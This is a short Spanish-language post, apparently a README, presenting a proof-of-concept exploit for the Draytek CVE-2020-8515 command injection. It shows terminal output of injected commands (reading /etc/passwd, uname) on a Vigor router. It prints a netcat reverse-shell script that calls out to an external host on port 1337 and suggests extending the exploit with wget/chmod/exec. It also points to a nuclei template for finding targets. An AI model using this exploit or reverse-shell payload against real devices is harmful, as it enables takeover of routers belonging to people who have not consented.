
Draytek CVE-2020-8515 PoC
Draytek CVE-2020-8515 PoC que tenía dando vueltas.
Curiosamente, el comando inyectado se ejecuta dos veces, ver aquí:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Tenía algunos planes para rematar esto como es debido, pero honestamente, es como, ¿un año después? y ya no recuerdo cuáles eran esos planes, así que aquí lo tienes. No es difícil añadir algo de wget/chmod/exec a esto, solo hay que mirar en la función "do_stuff".
Si descargas con wget y ejecutas un script como el siguiente, consigues una reverse shell:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
Creo que probablemente también puedes hacer echoload de un script así si consigues evitar los caracteres malos en la inyección, quizá lo añada más tarde - aunque el problema de la doble ejecución hace que eso sea bastante tedioso. Por ahora, esto está un poco a medio hacer, "decide el usuario".
Este exploit no causará mucho daño ITW, todas las cajas vulnerables a esto probablemente ya han sido cooptadas por botnets DDoS de script kiddies.
Para escanear: usa la plantilla de nuclei que alguien hizo